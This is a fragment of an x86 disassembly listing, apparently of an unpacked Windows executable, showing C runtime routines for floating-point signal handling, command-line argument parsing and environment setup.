jz short loc_425D96
mov eax, [ebp+var_28]
cmp eax, [ebp+arg_14]
jle short loc_425D6D
xor eax, eax
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425D6D: ; CODE XREF: sub_425B90+1D4j
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call near ptr 28E0000h
nop
test eax, eax
jnz short loc_425D96
xor eax, eax
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425D96: ; CODE XREF: sub_425B90+1CCj
; sub_425B90+1FDj
jmp loc_425E7A
; ---------------------------------------------------------------------------
loc_425D9B: ; CODE XREF: sub_425B90+1C6j
mov ecx, [ebp+var_28]
mov [ebp+var_2C], ecx
mov [ebp+var_4], 1
mov eax, [ebp+var_2C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov edx, [ebp+var_34]
mov [ebp+var_20], edx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_425DE3
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_425DE3: ; CODE XREF: sub_425B90+23Aj
cmp [ebp+var_20], 0
jnz short loc_425DF0
xor eax, eax
jmp loc_425E81
; ---------------------------------------------------------------------------
loc_425DF0: ; CODE XREF: sub_425B90+257j
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
nop
call near ptr 28E0000h
test eax, eax
jnz short loc_425E16
xor eax, eax
jmp short loc_425E81
; ---------------------------------------------------------------------------
loc_425E16: ; CODE XREF: sub_425B90+280j
cmp [ebp+arg_14], 0
jnz short loc_425E4A
push 0
push 0
push 0
push 0
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
nop
call near ptr 2710000h
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_425E48
xor eax, eax
jmp short loc_425E81
; ---------------------------------------------------------------------------
loc_425E48: ; CODE XREF: sub_425B90+2B2j
jmp short loc_425E7A
; ---------------------------------------------------------------------------
loc_425E4A: ; CODE XREF: sub_425B90+28Aj
push 0
push 0
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_18]
push ecx
nop
call near ptr 2710000h
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_425E7A
xor eax, eax
jmp short loc_425E81
; ---------------------------------------------------------------------------
loc_425E7A: ; CODE XREF: sub_425B90:loc_425D96j
; sub_425B90:loc_425E48j ...
mov eax, [ebp+var_28]
jmp short loc_425E81
; ---------------------------------------------------------------------------
loc_425E7F: ; CODE XREF: sub_425B90+D2j
xor eax, eax
loc_425E81: ; CODE XREF: sub_425B90+81j
; sub_425B90+C6j ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_425B90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425EA0 proc near ; CODE XREF: sub_425B90+94p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_425EB2: ; CODE XREF: sub_425EA0+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_425ED7
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_425ED7
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_425EB2
; ---------------------------------------------------------------------------
loc_425ED7: ; CODE XREF: sub_425EA0+20j
; sub_425EA0+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_425EE9
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_425EEC
; ---------------------------------------------------------------------------
loc_425EE9: ; CODE XREF: sub_425EA0+3Fj
mov eax, [ebp+arg_4]
loc_425EEC: ; CODE XREF: sub_425EA0+47j
mov esp, ebp
pop ebp
retn
sub_425EA0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
call sub_41F970
mov [ebp-8], eax
mov eax, [ebp-8]
mov ecx, [eax+50h]
push ecx
mov edx, [ebp+8]
push edx
call sub_4260B0
add esp, 8
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 0
jz short loc_425F23
mov eax, [ebp-10h]
cmp dword ptr [eax+8], 0
jnz short loc_425F32
loc_425F23: ; CODE XREF: ___:00425F18j
mov ecx, [ebp+0Ch]
push ecx
nop
call near ptr 28E10BCh
jmp loc_4260AA
; ---------------------------------------------------------------------------
loc_425F32: ; CODE XREF: ___:00425F21j
mov edx, [ebp-10h]
cmp dword ptr [edx+8], 5
jnz short loc_425F4F
mov eax, [ebp-10h]
mov dword ptr [eax+8], 0
mov eax, 1
jmp loc_4260AA
; ---------------------------------------------------------------------------
loc_425F4F: ; CODE XREF: ___:00425F39j
mov ecx, [ebp-10h]
cmp dword ptr [ecx+8], 1
jnz short loc_425F60
or eax, 0FFFFFFFFh
jmp loc_4260AA
; ---------------------------------------------------------------------------
loc_425F60: ; CODE XREF: ___:00425F56j
mov edx, [ebp-10h]
mov eax, [edx+8]
mov [ebp-4], eax
mov ecx, [ebp-8]
mov edx, [ecx+54h]
mov [ebp-18h], edx
mov eax, [ebp-8]
mov ecx, [ebp+0Ch]
mov [eax+54h], ecx
mov edx, [ebp-10h]
cmp dword ptr [edx+4], 8
jnz loc_426087
mov eax, dword_444440
mov [ebp-14h], eax
jmp short loc_425F9B
; ---------------------------------------------------------------------------
loc_425F92: ; CODE XREF: ___:00425FC0j
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_425F9B: ; CODE XREF: ___:00425F90j
mov edx, dword_444440
add edx, dword_444444
cmp [ebp-14h], edx
jge short loc_425FC2
mov eax, [ebp-14h]
imul eax, 0Ch
mov ecx, [ebp-8]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_425F92
; ---------------------------------------------------------------------------
loc_425FC2: ; CODE XREF: ___:00425FAAj
mov eax, [ebp-8]
mov ecx, [eax+58h]
mov [ebp-0Ch], ecx
mov edx, [ebp-10h]
cmp dword ptr [edx], 0C000008Eh
jnz short loc_425FE5
mov eax, [ebp-8]
mov dword ptr [eax+58h], 83h
jmp loc_42606D
; ---------------------------------------------------------------------------
loc_425FE5: ; CODE XREF: ___:00425FD4j
mov ecx, [ebp-10h]
cmp dword ptr [ecx], 0C0000090h
jnz short loc_425FFC
mov edx, [ebp-8]
mov dword ptr [edx+58h], 81h
jmp short loc_42606D
; ---------------------------------------------------------------------------
loc_425FFC: ; CODE XREF: ___:00425FEEj
mov eax, [ebp-10h]
cmp dword ptr [eax], 0C0000091h
jnz short loc_426013
mov ecx, [ebp-8]
mov dword ptr [ecx+58h], 84h
jmp short loc_42606D
; ---------------------------------------------------------------------------
loc_426013: ; CODE XREF: ___:00426005j
mov edx, [ebp-10h]
cmp dword ptr [edx], 0C0000093h
jnz short loc_42602A
mov eax, [ebp-8]
mov dword ptr [eax+58h], 85h
jmp short loc_42606D
; ---------------------------------------------------------------------------
loc_42602A: ; CODE XREF: ___:0042601Cj
mov ecx, [ebp-10h]
cmp dword ptr [ecx], 0C000008Dh
jnz short loc_426041
mov edx, [ebp-8]
mov dword ptr [edx+58h], 82h
jmp short loc_42606D
; ---------------------------------------------------------------------------
loc_426041: ; CODE XREF: ___:00426033j
mov eax, [ebp-10h]
cmp dword ptr [eax], 0C000008Fh
jnz short loc_426058
mov ecx, [ebp-8]
mov dword ptr [ecx+58h], 86h
jmp short loc_42606D
; ---------------------------------------------------------------------------
loc_426058: ; CODE XREF: ___:0042604Aj
mov edx, [ebp-10h]
cmp dword ptr [edx], 0C0000092h
jnz short loc_42606D
mov eax, [ebp-8]
mov dword ptr [eax+58h], 8Ah
loc_42606D: ; CODE XREF: ___:00425FE0j
; ___:00425FFAj ...
mov ecx, [ebp-8]
mov edx, [ecx+58h]
push edx
push 8
call dword ptr [ebp-4]
add esp, 8
mov eax, [ebp-8]
mov ecx, [ebp-0Ch]
mov [eax+58h], ecx
jmp short loc_42609E
; ---------------------------------------------------------------------------
loc_426087: ; CODE XREF: ___:00425F82j
mov edx, [ebp-10h]
mov dword ptr [edx+8], 0
mov eax, [ebp-10h]
mov ecx, [eax+4]
push ecx
call dword ptr [ebp-4]
add esp, 4
loc_42609E: ; CODE XREF: ___:00426085j
mov edx, [ebp-8]
mov eax, [ebp-18h]
mov [edx+54h], eax
or eax, 0FFFFFFFFh
loc_4260AA: ; CODE XREF: ___:00425F2Dj
; ___:00425F4Aj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4260B0 proc near ; CODE XREF: ___:00425F09p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_4260BA: ; CODE XREF: sub_4260B0+30j
mov ecx, [ebp+var_4]
mov edx, [ecx]
cmp edx, [ebp+arg_0]
jz short loc_4260E2
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, dword_44444C
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_4260E2
jmp short loc_4260BA
; ---------------------------------------------------------------------------
loc_4260E2: ; CODE XREF: sub_4260B0+12j
; sub_4260B0+2Ej
mov eax, dword_44444C
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_4260FE
mov edx, [ebp+var_4]
mov eax, [edx]
cmp eax, [ebp+arg_0]
jz short loc_426102
loc_4260FE: ; CODE XREF: sub_4260B0+42j
xor eax, eax
jmp short loc_426105
; ---------------------------------------------------------------------------
loc_426102: ; CODE XREF: sub_4260B0+4Cj
mov eax, [ebp+var_4]
loc_426105: ; CODE XREF: sub_4260B0+50j
mov esp, ebp
pop ebp
retn
sub_4260B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4DC7C8, 0
jnz short loc_426122
call sub_420320
loc_426122: ; CODE XREF: ___:0042611Bj
mov eax, dword_4DB7A8
mov [ebp-4], eax
mov ecx, [ebp-4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jnz short loc_42618C
loc_426136: ; CODE XREF: ___:loc_426173j
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
mov ecx, [ebp-4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jz short loc_426175
mov eax, [ebp-4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_426175
mov edx, [ebp-4]
xor eax, eax
mov al, [edx]
push eax
call sub_42CCB0
add esp, 4
test eax, eax
jz short loc_426173
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_426173: ; CODE XREF: ___:00426168j
jmp short loc_426136
; ---------------------------------------------------------------------------
loc_426175: ; CODE XREF: ___:00426149j
; ___:00426154j
mov edx, [ebp-4]
xor eax, eax
mov al, [edx]
cmp eax, 22h
jnz short loc_42618A
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_42618A: ; CODE XREF: ___:0042617Fj
jmp short loc_4261A3
; ---------------------------------------------------------------------------
loc_42618C: ; CODE XREF: ___:00426134j
; ___:004261A1j
mov edx, [ebp-4]
xor eax, eax
mov al, [edx]
cmp eax, 20h
jle short loc_4261A3
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
jmp short loc_42618C
; ---------------------------------------------------------------------------
loc_4261A3: ; CODE XREF: ___:loc_42618Aj
; ___:00426196j ...
mov edx, [ebp-4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_4261C5
mov ecx, [ebp-4]
xor edx, edx
mov dl, [ecx]
cmp edx, 20h
jg short loc_4261C5
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
jmp short loc_4261A3
; ---------------------------------------------------------------------------
loc_4261C5: ; CODE XREF: ___:004261ACj
; ___:004261B8j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4DC7C8, 0
jnz short loc_4261E4
call sub_420320
loc_4261E4: ; CODE XREF: ___:004261DDj
mov dword ptr [ebp-8], 0
mov eax, dword_4DB11C
mov [ebp-4], eax
loc_4261F3: ; CODE XREF: ___:00426227j
mov ecx, [ebp-4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_426229
mov eax, [ebp-4]
movsx ecx, byte ptr [eax]
cmp ecx, 3Dh
jz short loc_426211
mov edx, [ebp-8]
add edx, 1
mov [ebp-8], edx
loc_426211: ; CODE XREF: ___:00426206j
mov eax, [ebp-4]
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp-4]
lea edx, [ecx+eax+1]
mov [ebp-4], edx
jmp short loc_4261F3
; ---------------------------------------------------------------------------
loc_426229: ; CODE XREF: ___:004261FBj
push 6Dh
push offset dword_434280
push 2
mov eax, [ebp-8]
lea ecx, ds:4[eax*4]
push ecx
call sub_414DD0
add esp, 10h
mov [ebp-0Ch], eax
mov edx, [ebp-0Ch]
mov dword_4DB0CC, edx
cmp dword_4DB0CC, 0
jnz short loc_426264
push 9
call sub_41A9A0
add esp, 4
loc_426264: ; CODE XREF: ___:00426258j
mov eax, dword_4DB11C
mov [ebp-4], eax
jmp short loc_426277
; ---------------------------------------------------------------------------
loc_42626E: ; CODE XREF: ___:loc_4262E5j
mov ecx, [ebp-4]
add ecx, [ebp-10h]
mov [ebp-4], ecx
loc_426277: ; CODE XREF: ___:0042626Cj
mov edx, [ebp-4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_4262E7
mov ecx, [ebp-4]
push ecx
call sub_414BE0
add esp, 4
add eax, 1
mov [ebp-10h], eax
mov edx, [ebp-4]
movsx eax, byte ptr [edx]
cmp eax, 3Dh
jz short loc_4262E5
push 79h
push offset dword_434280
push 2
mov ecx, [ebp-10h]
push ecx
call sub_414DD0
add esp, 10h
mov edx, [ebp-0Ch]
mov [edx], eax
mov eax, [ebp-0Ch]
cmp dword ptr [eax], 0
jnz short loc_4262CA
push 9
call sub_41A9A0
add esp, 4
loc_4262CA: ; CODE XREF: ___:004262BEj
mov ecx, [ebp-4]
push ecx
mov edx, [ebp-0Ch]
mov eax, [edx]
push eax
call sub_4184C0
add esp, 8
mov ecx, [ebp-0Ch]
add ecx, 4
mov [ebp-0Ch], ecx
loc_4262E5: ; CODE XREF: ___:0042629Cj
jmp short loc_42626E
; ---------------------------------------------------------------------------
loc_4262E7: ; CODE XREF: ___:0042627Fj
push 2
mov edx, dword_4DB11C
push edx
call sub_415860
add esp, 8
mov dword_4DB11C, 0
mov eax, [ebp-0Ch]
mov dword ptr [eax], 0
mov dword_4DC7C4, 1
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
cmp dword_4DC7C8, 0
jnz short loc_426334
call sub_420320
loc_426334: ; CODE XREF: ___:0042632Dj
push 104h
push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 0
nop
call near ptr 2680000h
mov off_4DB0DC, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
mov eax, dword_4DB7A8
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_426367
mov edx, off_4DB0DC
mov [ebp-14h], edx
jmp short loc_42636F
; ---------------------------------------------------------------------------
loc_426367: ; CODE XREF: ___:0042635Aj
mov eax, dword_4DB7A8
mov [ebp-14h], eax
loc_42636F: ; CODE XREF: ___:00426365j
mov ecx, [ebp-14h]
mov [ebp-10h], ecx
lea edx, [ebp-4]
push edx
lea eax, [ebp-0Ch]
push eax
push 0
push 0
mov ecx, [ebp-10h]
push ecx
call sub_426400
add esp, 14h
push 80h
push offset dword_43428C
push 2
mov edx, [ebp-0Ch]
mov eax, [ebp-4]
lea ecx, [eax+edx*4]
push ecx
call sub_414DD0
add esp, 10h
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_4263BE
push 8
call sub_41A9A0
add esp, 4
loc_4263BE: ; CODE XREF: ___:004263B2j
lea edx, [ebp-4]
push edx
lea eax, [ebp-0Ch]
push eax
mov ecx, [ebp-0Ch]
mov edx, [ebp-8]
lea eax, [edx+ecx*4]
push eax
mov ecx, [ebp-8]
push ecx
mov edx, [ebp-10h]
push edx
call sub_426400
add esp, 14h
mov eax, [ebp-0Ch]
sub eax, 1
mov dword_4DB0C0, eax
mov ecx, [ebp-8]
mov dword_4DB0C4, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426400 proc near ; CODE XREF: ___:00426385p
; ___:004263D8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_10]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 1
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+arg_4], 0
jz short loc_426435
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov [eax], ecx
mov edx, [ebp+arg_4]
add edx, 4
mov [ebp+arg_4], edx
loc_426435: ; CODE XREF: sub_426400+22j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz loc_42650D
loc_426444: ; CODE XREF: sub_426400:loc_4264CDj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jz short loc_4264D2
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_4264D2
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
xor eax, eax
mov al, byte_4DB681[edx]
and eax, 4
test eax, eax
jz short loc_4264A7
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_4264A7
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4264A7: ; CODE XREF: sub_426400+76j
; sub_426400+89j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_4264CD
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_4264CD: ; CODE XREF: sub_426400+B8j
jmp loc_426444
; ---------------------------------------------------------------------------
loc_4264D2: ; CODE XREF: sub_426400+56j
; sub_426400+60j
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_4264F4
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_4264F4: ; CODE XREF: sub_426400+E3j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_426508
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_426508: ; CODE XREF: sub_426400+FDj
jmp loc_4265DC
; ---------------------------------------------------------------------------
loc_42650D: ; CODE XREF: sub_426400+3Ej
; sub_426400+1B1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_426533
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_426533: ; CODE XREF: sub_426400+11Ej
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
and ecx, 0FFh
xor edx, edx
mov dl, byte_4DB681[ecx]
and edx, 4
test edx, edx
jz short loc_42658B
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_426582
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_426582: ; CODE XREF: sub_426400+16Dj
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42658B: ; CODE XREF: sub_426400+15Aj
mov edx, [ebp+var_C]
and edx, 0FFh
cmp edx, 20h
jz short loc_4265B7
mov eax, [ebp+var_C]
and eax, 0FFh
test eax, eax
jz short loc_4265B7
mov ecx, [ebp+var_C]
and ecx, 0FFh
cmp ecx, 9
jnz loc_42650D
loc_4265B7: ; CODE XREF: sub_426400+197j
; sub_426400+1A3j
mov edx, [ebp+var_C]
and edx, 0FFh
test edx, edx
jnz short loc_4265CF
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_4265DC
; ---------------------------------------------------------------------------
loc_4265CF: ; CODE XREF: sub_426400+1C2j
cmp [ebp+arg_8], 0
jz short loc_4265DC
mov ecx, [ebp+arg_8]
mov byte ptr [ecx-1], 0
loc_4265DC: ; CODE XREF: sub_426400:loc_426508j
; sub_426400+1CDj ...
mov [ebp+var_14], 0
loc_4265E3: ; CODE XREF: sub_426400+3F6j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42660E
loc_4265ED: ; CODE XREF: sub_426400+20Cj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_426603
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42660E
loc_426603: ; CODE XREF: sub_426400+1F6j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_4265ED
; ---------------------------------------------------------------------------
loc_42660E: ; CODE XREF: sub_426400+1EBj
; sub_426400+201j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42661D
jmp loc_4267FB
; ---------------------------------------------------------------------------
loc_42661D: ; CODE XREF: sub_426400+216j
cmp [ebp+arg_4], 0
jz short loc_426634
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov [edx], eax
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_426634: ; CODE XREF: sub_426400+221j
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_426641: ; CODE XREF: sub_426400+3CFj
mov [ebp+var_8], 1
mov [ebp+var_10], 0
loc_42664F: ; CODE XREF: sub_426400+26Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_42666E
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
jmp short loc_42664F
; ---------------------------------------------------------------------------
loc_42666E: ; CODE XREF: sub_426400+258j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_4266CA
mov eax, [ebp+var_10]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jnz short loc_4266C2
cmp [ebp+var_14], 0
jz short loc_4266AF
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 22h
jnz short loc_4266A6
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4266AD
; ---------------------------------------------------------------------------
loc_4266A6: ; CODE XREF: sub_426400+299j
mov [ebp+var_8], 0
loc_4266AD: ; CODE XREF: sub_426400+2A4j
jmp short loc_4266B6
; ---------------------------------------------------------------------------
loc_4266AF: ; CODE XREF: sub_426400+28Dj
mov [ebp+var_8], 0
loc_4266B6: ; CODE XREF: sub_426400:loc_4266ADj
xor edx, edx
cmp [ebp+var_14], 0
setz dl
mov [ebp+var_14], edx
loc_4266C2: ; CODE XREF: sub_426400+287j
mov eax, [ebp+var_10]
shr eax, 1
mov [ebp+var_10], eax
loc_4266CA: ; CODE XREF: sub_426400+277j
; sub_426400+2FCj
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_4266FE
cmp [ebp+arg_8], 0
jz short loc_4266EF
mov eax, [ebp+arg_8]
mov byte ptr [eax], 5Ch
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
loc_4266EF: ; CODE XREF: sub_426400+2DEj
mov edx, [ebp+arg_10]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_10]
mov [ecx], eax
jmp short loc_4266CA
; ---------------------------------------------------------------------------
loc_4266FE: ; CODE XREF: sub_426400+2D8j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_426724
cmp [ebp+var_14], 0
jnz short loc_426729
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_426724
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_426729
loc_426724: ; CODE XREF: sub_426400+306j
; sub_426400+317j
jmp loc_4267D4
; ---------------------------------------------------------------------------
loc_426729: ; CODE XREF: sub_426400+30Cj
; sub_426400+322j
cmp [ebp+var_8], 0
jz loc_4267C6
cmp [ebp+arg_8], 0
jz short loc_42678D
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4DB681[eax]
and ecx, 4
test ecx, ecx
jz short loc_426778
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
loc_426778: ; CODE XREF: sub_426400+34Dj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_4267B9
; ---------------------------------------------------------------------------
loc_42678D: ; CODE XREF: sub_426400+337j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, byte_4DB681[eax]
and ecx, 4
test ecx, ecx
jz short loc_4267B9
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_4267B9: ; CODE XREF: sub_426400+38Bj
; sub_426400+3A1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_4267C6: ; CODE XREF: sub_426400+32Dj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_426641
; ---------------------------------------------------------------------------
loc_4267D4: ; CODE XREF: sub_426400:loc_426724j
cmp [ebp+arg_8], 0
jz short loc_4267E9
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_4267E9: ; CODE XREF: sub_426400+3D8j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
jmp loc_4265E3
; ---------------------------------------------------------------------------
loc_4267FB: ; CODE XREF: sub_426400+218j
cmp [ebp+arg_4], 0
jz short loc_426813
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_426813: ; CODE XREF: sub_426400+3FFj
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
